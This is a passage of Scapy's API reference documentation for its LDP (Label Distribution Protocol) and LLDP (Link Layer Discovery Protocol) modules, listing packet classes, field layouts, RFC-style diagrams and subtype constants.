getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L291-L293]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L274-L289]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L263-L272]

	








	
class scapy.contrib.ldp.FecTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L71-L120]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L118-L120]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L94-L111]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L74-L92]

	




	
size(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L113-L116]

	Get the size of this field










	
class scapy.contrib.ldp.LDP(_pkt, /, *, version=1, len=None, id='127.0.0.1', space=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L423-L435]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            VERSION            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             SPACE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. LDP                             


LDP fields






	version

	ShortField

	1



	len

	ShortField

	None



	id

	IPField

	'127.0.0.1'



	space

	ShortField

	0











	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L430-L435]

	








	
class scapy.contrib.ldp.LDPAddress(_pkt, /, *, u=0, type=768, len=None, id=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L342-L348]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LDPAddress                          


LDPAddress fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	768



	len

	ShortField

	None



	id

	IntField

	0



	address

	AddressTLVField

	None















	
class scapy.contrib.ldp.LDPAddressWM(_pkt, /, *, u=0, type=769, len=None, id=0, address=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L353-L359]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ADDRESS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LDPAddressWM                         


LDPAddressWM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	769



	len

	ShortField

	None



	id

	IntField

	0



	address

	AddressTLVField

	None















	
class scapy.contrib.ldp.LDPHello(_pkt, /, *, u=0, type=256, len=None, id=0, params=[180, 0, 0])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L310-L316]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. LDPHello                           


LDPHello fields






	u

	BitField  (1 bit)

	0



	type

	BitField  (15 bits)

	256



	len

	ShortField

	None



	id

	IntField

	0



	params

	CommonHelloTLVField

	[180, 0, 0]















	
class scapy.contrib.ldp.LDPInit(_pkt, /, *, u=0, type=512, len=None, id=0, params=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L321-L327]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PARAMS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. LDPInit                           


LDPInit fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	512



	len

	ShortField

	None



	id

	IntField

	0



	params

	CommonSessionTLVField

	None















	
class scapy.contrib.ldp.LDPKeepAlive(_pkt, /, *, u=0, type=513, len=None, id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L332-L337]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LDPKeepAlive                         


LDPKeepAlive fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	513



	len

	ShortField

	None



	id

	IntField

	0















	
class scapy.contrib.ldp.LDPLabelARM(_pkt, /, *, u=0, type=1028, len=None, id=0, fec=None, labelRMid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L387-L394]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FEC              |           LABELRMID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LDPLabelARM                         


LDPLabelARM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	1028



	len

	ShortField

	None



	id

	IntField

	0



	fec

	FecTLVField

	None



	labelRMid

	IntField

	0















	
class scapy.contrib.ldp.LDPLabelMM(_pkt, /, *, u=0, type=1024, len=None, id=0, fec=None, label=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L364-L371]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FEC              |             LABEL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LDPLabelMM                          


LDPLabelMM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	1024



	len

	ShortField

	None



	id

	IntField

	0



	fec

	MayEnd

	None



	label

	LabelTLVField

	0















	
class scapy.contrib.ldp.LDPLabelRelM(_pkt, /, *, u=0, type=1027, len=None, id=0, fec=None, label=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L411-L418]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FEC              |             LABEL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LDPLabelRelM                         


LDPLabelRelM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	1027



	len

	ShortField

	None



	id

	IntField

	0



	fec

	FecTLVField

	None



	label

	LabelTLVField

	0















	
class scapy.contrib.ldp.LDPLabelReqM(_pkt, /, *, u=0, type=1025, len=None, id=0, fec=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L376-L382]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FEC              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. LDPLabelReqM                         


LDPLabelReqM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	1025



	len

	ShortField

	None



	id

	IntField

	0



	fec

	FecTLVField

	None















	
class scapy.contrib.ldp.LDPLabelWM(_pkt, /, *, u=0, type=1026, len=None, id=0, fec=None, label=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L399-L406]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FEC              |             LABEL             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. LDPLabelWM                          


LDPLabelWM fields






	u

	BitField  (1 bit)

	0



	type

	XBitField  (15 bits)

	1026



	len

	ShortField

	None



	id

	IntField

	0



	fec

	MayEnd

	None



	label

	LabelTLVField

	0















	
class scapy.contrib.ldp.LDPNotification(_pkt, /, *, u=0, type=1, len=None, id=0, status=(0, 0, 0, 0, 0))[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L299-L305]

	Bases: _LDP_Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|U|             TYPE            |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             STATUS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LDPNotification                       


LDPNotification fields






	u

	BitField  (1 bit)

	0



	type

	BitField  (15 bits)

	1



	len

	ShortField

	None



	id

	IntField

	0



	status

	StatusTLVField

	(0, 0, 0, 0, 0)















	
class scapy.contrib.ldp.LabelTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L125-L143]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L141-L143]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L129-L134]

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L126-L127]

	




	
size(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L136-L139]

	Get the size of this field










	
class scapy.contrib.ldp.StatusTLVField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L186-L222]

	Bases: StrField


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L220-L222]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L199-L218]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/ldp.py#L189-L197]

	










            

          

      

      

    

  

    
      
          
            
  
scapy.contrib.lldp


LLDP - Link Layer Discovery Protocol


	author:

	Thomas Tannhaeuser, hecke@naberius.de



	description:

	This module provides Scapy layers for the LLDP protocol.


	normative references:
	
	IEEE 802.1AB 2016 - LLDP protocol, topology and MIB description










	TODO:

	
	
organization specific TLV e.g. ProfiNet

(see LLDPDUGenericOrganisationSpecific for a starting point)





	Ignore everything after EndofLLDPDUTLV






	NOTES:

	
	you can find the layer configuration options at the end of this file


	default configuration enforces standard conform:


	
frame structure

(ChassisIDTLV/PortIDTLV/TimeToLiveTLV/…)





	multiplicity of TLVs (if given by the standard)


	min sizes of strings used by the TLVs






	conf.contribs[‘LLDP’].strict_mode_disable() -> disable strict mode










	
class scapy.contrib.lldp.LLDPConfiguration[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L717-L742]

	Bases: object

basic configuration for LLDP layer


	
strict_mode()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L738-L742]

	get current strict mode state






	
strict_mode_disable()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L732-L736]

	disable strict mode and dissector debugging






	
strict_mode_enable()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L726-L730]

	enable strict mode and dissector debugging










	
class scapy.contrib.lldp.LLDPDU(_pkt, /)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L87-L302]

	Bases: Packet

base class for all LLDP data units


	
DOT1Q_HEADER_LEN = 4

	




	
ETHER_FRAME_MIN_LEN = 64

	




	
ETHER_FSC_LEN = 4

	




	
ETHER_HEADER_LEN = 14

	




	
IANA_ADDRESS_FAMILY_NUMBERS = {0: 'other', 1: 'IPv4', 2: 'IPv6', 3: 'NSAP', 4: 'HDLC', 5: 'BBN', 6: '802', 7: 'E.163', 8: 'E.164', 9: 'F.69', 10: 'X.121', 11: 'IPX', 12: 'Appletalk', 13: 'Decnet IV', 14: 'Banyan Vines', 15: 'E.164 with NSAP', 16: 'DNS', 17: 'Distinguished Name', 18: 'AS Number', 19: 'XTP over IPv4', 20: 'XTP over IPv6', 21: 'XTP native mode XTP', 22: 'Fiber Channel World-Wide Port Name', 23: 'Fiber Channel World-Wide Node Name', 24: 'GWID', 25: 'AFI for L2VPN', 26: 'MPLS-TP Section Endpoint ID', 27: 'MPLS-TP LSP Endpoint ID', 28: 'MPLS-TP Pseudowire Endpoint ID', 29: 'MT IP Multi-Topology IPv4', 30: 'MT IP Multi-Topology IPv6'}

	




	
LAYER_MULTIPLICITIES = {}

	




	
LAYER_STACK = []

	




	
TYPES = {0: 'end of LLDPDU', 1: 'chassis id', 2: 'port id', 3: 'time to live', 4: 'port description', 5: 'system name', 6: 'system description', 7: 'system capabilities', 8: 'management address', 127: 'organisation specific TLV'}

	




	
aliastypes

	




	
dissection_done(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L283-L290]

	




	
do_build()[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L300-L302]

	




	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L146-L152]

	




	
post_build(pkt, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L171-L197]

	




	
post_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L296-L298]

	




	
pre_dissect(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L268-L281]

	








	
class scapy.contrib.lldp.LLDPDUChassisID(_pkt, /, *, _type=1, _length=None, subtype=0, family=0, id=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L330-L385]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.2 / p. 26


	
LLDP_CHASSIS_ID_TLV_SUBTYPES = {0: 'reserved', 1: 'chassis component', 2: 'interface alias', 3: 'port component', 4: 'MAC address', 5: 'network address', 6: 'interface name', 7: 'locally assigned'}

	




	
SUBTYPE_CHASSIS_COMPONENT = 1

	




	
SUBTYPE_INTERFACE_ALIAS = 2

	




	
SUBTYPE_INTERFACE_NAME = 6

	




	
SUBTYPE_LOCALLY_ASSIGNED = 7

	




	
SUBTYPE_MAC_ADDRESS = 4

	




	
SUBTYPE_NETWORK_ADDRESS = 5

	




	
SUBTYPE_PORT_COMPONENT = 3

	




	
SUBTYPE_RESERVED = 0

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |    SUBTYPE    |     FAMILY    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. LLDPDUChassisID                       


LLDPDUChassisID fields






	_type

	BitEnumField

	1



	_length

	BitFieldLenField  (9 bits)

	None



	subtype

	ByteEnumField

	0



	family

	ByteEnumField (Cond)

	0



	id

	MultipleTypeField (MACField, IPField, IP6Field, StrLenField)

	b''















	
class scapy.contrib.lldp.LLDPDUEndOfLLDPDU(_pkt, /, *, _type=0, _length=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L465-L483]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.1 / p. 26


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L474-L475]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. LLDPDUEndOfLLDPDU                      


LLDPDUEndOfLLDPDU fields






	_type

	BitEnumField

	0



	_length

	BitField  (9 bits)

	0















	
class scapy.contrib.lldp.LLDPDUGenericOrganisationSpecific(_pkt, /, *, _type=127, _length=None, org_code=0, subtype=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L675-L699]

	Bases: LLDPDU


	
ORG_UNIQUE_CODES = {3791: 'PROFIBUS International (PNO)', 4623: 'IEEE 802.3', 4795: 'TIA TR-41 Committee . Media Endpoint Discovery', 32962: 'IEEE 802.1', 3191318: 'Hytec Geraetebau GmbH'}

	




	
ORG_UNIQUE_CODE_HYTEC = 3191318

	




	
ORG_UNIQUE_CODE_IEEE_802_1 = 32962

	




	
ORG_UNIQUE_CODE_IEEE_802_3 = 4623

	




	
ORG_UNIQUE_CODE_PNO = 3791

	




	
ORG_UNIQUE_CODE_TIA_TR_41_MED = 4795

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     |            ORG CODE           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |    SUBTYPE    |      DATA     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

              Fig. LLDPDUGenericOrganisationSpecific              


LLDPDUGenericOrganisationSpecific fields






	_type

	BitEnumField

	127



	_length

	BitFieldLenField  (9 bits)

	None



	org_code

	ThreeBytesEnumField

	0



	subtype

	ByteField

	0



	data

	XStrLenField

	b''















	
class scapy.contrib.lldp.LLDPDUManagementAddress(_pkt, /, *, _type=8, _length=None, _management_address_string_length=None, management_address_subtype=0, management_address=b'', interface_numbering_subtype=1, interface_number=0, _oid_string_length=None, object_id=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/lldp.py#L569-L666]

	Bases: LLDPDU

ieee 802.1ab-2016 - sec. 8.5.9 / p. 32

currently only 0x00..0x1e are used by standards, no way to
use anything > 0xff as management address subtype is only
one octet wide

see https://www.iana.org/assignments/address-family-numbers/address-family-numbers.xhtml  # noqa: E501


	
INTERFACE_NUMBERING_SUBTYPES = {1: 'unknown', 2: 'ifIndex', 3: 'system port number'}

	




	
SUBTYPE_INTERFACE_NUMBER_IF_INDEX = 2

	




	
SUBTYPE_INTERFACE_NUMBER_SYSTEM_PORT_NUMBER = 3

	Note - calculation of _length field:

_length = 1@_management_address_string_length +
          1@management_address_subtype +
          management_address.len +
          1@interface_numbering_subtype +
          4@interface_number +
          1@_oid_string_length +
          object_id.len










	
SUBTYPE_INTERFACE_NUMBER_UNKNOWN = 1

	




	
SUBTYPE_MANAGEMENT_ADDRESS_802 = 6

	




	
SUBTYPE_MANAGEMENT_ADDRESS_AFI_FOR_L2VPN = 25

	




	
SUBTYPE_MANAGEMENT_ADDRESS_APPLETALK = 12

	




	
SUBTYPE_MANAGEMENT_ADDRESS_AS_NUMBER = 18

	




	
SUBTYPE_MANAGEMENT_ADDRESS_BANYAN_VINES = 14

	




	
SUBTYPE_MANAGEMENT_ADDRESS_BBN = 5

	




	
SUBTYPE_MANAGEMENT_ADDRESS_DECNET_IV = 13

	




	
SUBTYPE_MANAGEMENT_ADDRESS_DISTINGUISHED_NAME = 17

	




	
SUBTYPE_MANAGEMENT_ADDRESS_DNS = 16

	




	
SUBTYPE_MANAGEMENT_ADDRESS_E_163 = 7

	




	
SUBTYPE_MANAGEMENT_ADDRESS_E_164 = 8

	




	
SUBTYPE_MANAGEMENT_ADDRESS_E_164_WITH_NSAP = 15

	




	
SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_NODE_NAME = 23

	




	
SUBTYPE_MANAGEMENT_ADDRESS_FIBER_CHANNEL_WORLD_WIDE_PORT_NAME = 22

	




	
SUBTYPE_MANAGEMENT_ADDRESS_F_69 = 9

	




	
SUBTYPE_MANAGEMENT_ADDRESS_GWID = 24

	




	
SUBTYPE_MANAGEMENT_ADDRESS_HDLC = 4

	




	
SUBTYPE_MANAGEMENT_ADDRESS_IPV4 = 1

	




	
SUBTYPE_MANAGEMENT_ADDRESS_IPV6 = 2

	




	
SUBTYPE_MANAGEMENT_ADDRESS_IPX = 11

	




	
SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_LSP_ENDPOINT_ID = 27

	




	
SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_PSEUDOWIRE_ENDPOINT_ID = 28

	




	
SUBTYPE_MANAGEMENT_ADDRESS_MPLS_TP_SECTION_ENDPOINT_ID = 26

	




	
SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV4 = 29

	




	
SUBTYPE_MANAGEMENT_ADDRESS_MT_IP_MULTI_TOPOLOGY_IPV6 = 30

	




	
SUBTYPE_MANAGEMENT_ADDRESS_NSAP = 3

	




	
SUBTYPE_MANAGEMENT_ADDRESS_OTHER = 0

	




	
SUBTYPE_MANAGEMENT_ADDRESS_XTP_NATIVE_MODE_XTP = 21

	




	
SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV4 = 19

	




	
SUBTYPE_MANAGEMENT_ADDRESS_XTP_OVER_IPV6 = 20

	




	
SUBTYPE_MANAGEMENT_ADDRESS_X_121 = 10

	




	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     TYPE    |      LENGTH     | MANAGEMENT ADD|MANAGEMENT ADDR|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|       MANAGEMENT ADDRESS      |INTERFACE NUMBE|INTERFACE NUMBE|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                                               | OID STRING LEN|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           OBJECT ID           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

